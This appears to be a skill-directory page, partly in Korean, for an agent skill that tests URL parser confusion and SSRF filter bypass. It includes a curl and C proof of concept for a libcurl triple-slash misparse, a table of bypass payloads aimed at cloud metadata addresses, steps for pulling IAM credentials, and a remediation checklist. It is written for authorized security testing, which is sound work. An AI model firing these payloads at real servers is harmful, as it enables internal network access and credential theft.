사용 방법
- 설치 명령을 복사하고 자신의 에이전트 환경에 설치하기 전에 소스 패키지를 확인하세요.
- 필요한 도구, 인증 정보, 지원 환경은 원본 문서에서 확인하세요.
- 입력과 원하는 산출물을 설명하고 출처와 결과를 대조하세요.
npx skills add https://github.com/security-talent/bugskill-ai --skill url-parser-confusion-testing시작 전 확인
- 설치에는 모델 구독, API 한도, 파일 접근 권한이 포함되지 않습니다.
- 별점 수와 설치 수는 활동 지표이며 독립적인 품질·보안 검증이 아닙니다.
원본 저장소의 제목, 예시, 코드, 표, 링크, 이미지를 유지해 표시합니다.
URL Parser Confusion & SSRF Filter Bypass
Different URL parsers disagree on how to interpret malformed URLs. When an application validates with one parser and fetches with another (or fetches with the same parser but mis-trusts its output), an attacker can craft a URL that passes the allowlist check but resolves to an attacker-chosen host → Server-Side Request Forgery (SSRF). Targets must be within the scope of the engagement you are authorized to test.
When to Use
- URL validation, webhook inputs, and proxy/fetch endpoints (
/fetch?url=...,/preview?url=...,/webhook) - Hostname allowlist / denylist bypass assessments
- Microservice architecture audits where validation and HTTP client libraries differ (e.g. Node validator + curl/Go backend)
- SSRF filter bypass assessments for cloud metadata endpoints (
169.254.169.254,metadata.google.internal) or internal network ranges (10.0.0.0/8,127.0.0.1) - Reviewing C/C++, Python, Node.js, Go, Java, or PHP URL handling logic
Reference Case: HackerOne #3923212 (curl URL API)
libcurl's parseurl() in lib/urlapi.c misparses http:///host/path. Per RFC 3986 the authority between // and / is empty, so /host/path is the path. libcurl instead treats the first path segment as the hostname (slash counter reaches 3, hostp is set to whatever follows the third slash).
# curl CLI reproduction (path becomes hostname)
curl -w "\n%{url_effective}\n" http:///169.254.169.254/latest/meta-data/
# -> http://169.254.169.254/latest/meta-data/
# CURLU API PoC (compile: gcc poc.c $(curl-config --cflags --libs))
#include <stdio.h>
#include <curl/curl.h>
int main(void) {
CURLU *u = curl_url();
curl_url_set(u, CURLUPART_URL,
"http:///169.254.169.254/latest/meta-data/", 0);
char *host = NULL, *path = NULL;
curl_url_get(u, CURLUPART_HOST, &host, 0);
curl_url_get(u, CURLUPART_PATH, &path, 0);
printf("host=%s path=%s\n", host, path); // host=169.254.169.254
curl_free(host); curl_free(path); curl_url_cleanup(u);
return 0;
}Phase 0: Recon & Target Mapping
- Identify URL Input Endpoints:
- Webhook registration, avatar/image import by URL, PDF generation from URL, oEmbed/rich link preview, proxy/cache endpoints.
- Identify Validation Mechanisms:
- RegEx pattern matching on domain names.
- Parsing domain via URL library followed by string suffix check (
.endswith("example.com")). - Allowlist / Blocklist checking against IP ranges or DNS resolutions.
- Identify Backend Fetch Client:
- Determine which HTTP client fetches the URL: cURL / libcurl, Python
requests/urllib, Nodefetch/axios, Gonet/http, or JavaHttpURLConnection.
Phase 1: Differential Parser Testing
Compare how different parsers treat candidate URLs:
| Technique | Example Syntax | Parser Behavior Differential |
|---|---|---|
| Triple-Slash Anomaly | http:///169.254.169.254/path | RFC 3986 (Python/Node): empty authority / path /169.254.169.254/path.<br>libcurl (< 8.11): host 169.254.169.254. |
| Userinfo Delimiters | http://trusted.com@169.254.169.254/ | Validator sees trusted.com user, fetcher connects to 169.254.169.254. |
| Backslash Substitution | http://trusted.com\169.254.169.254/ | WHATWG (Node/browser) converts \ to / (host = trusted.com).<br>libcurl / Go treats \ as path or host character. |
| URL-Encoded Delimiters | http://trusted.com%23@169.254.169.254/ | Unescaped in validation vs. escaped in HTTP client. |
| Numeric & Hex IPs | http://0xa9fea9fe/ or http://2852039166/ | Decimal/Hex representation of 169.254.169.254. |
| IPv4-Mapped IPv6 | http://[::ffff:169.254.169.254]/ | Bypasses naive IPv4 string blocklists. |
Phase 2: Probing & Bypasses
Test target endpoints with differential payloads using the bundled automation tool or cURL:
# Run standalone differential test against default cloud metadata IP
python3 scripts/url_parser_diff.py
# Test custom target internal IP and path
python3 scripts/url_parser_diff.py --ip 169.254.169.254 --path /latest/meta-data/
# Filter only parser disagreements
python3 scripts/url_parser_diff.py --only-interestingPhase 3: Automation Tooling (url_parser_diff.py)
The bundled tool `scripts/url_parser_diff.py` natively tests:
- Python
urllib.parse(RFC 3986) - cURL / libcurl CLI (
%{url_effective}) - Node.js
WHATWG URL(when Node is available)
# Output JSON for CI/CD or automation pipelines
python3 scripts/url_parser_diff.py --jsonPhase 4: Impact Chaining & Reporting
- Cloud Metadata Access: Extract IAM credentials, API keys, service account tokens (
http://169.254.169.254/latest/meta-data/iam/security-credentials/). - Internal Microservice Exploitation: Access unauthenticated internal administrative panels, Kubernetes kubelet APIs, or internal REST services.
- Port Scanning & Network Pivoting: Enumerate internal open ports and services across private CIDR ranges.
CVSS 3.1 & CWE Mapping
- CWE-918: Server-Side Request Forgery (SSRF)
- CWE-625: Permissive List of Allowed Inputs
- CWE-20: Improper Input Validation
- CVSS:3.1 Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N(Base Score: 8.6 High / Critical depending on cloud IAM exposure)
Remediation Checklist
- [ ] Single Unified Parser: Use the exact same parser/client library for validation and fetching.
- [ ] Resolve DNS First & Validate IP:
- Resolve DNS hostname to IP address.
- Validate that the resolved IP does NOT belong to private ranges (
10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,127.0.0.0/8,169.254.0.0/16,::1,fc00::/7). - Connect directly to the verified IP address (prevent DNS rebinding via fixed-IP connection or custom dialer).
- [ ] Disable Redirection or Validate Redirect Targets: Ensure HTTP clients do not blindly follow redirects to internal IP addresses.
- [ ] Enforce Strict Scheme Restrictions: Allow only
httpandhttpsschemes; reject all other schemes (gopher://,file://,ftp://).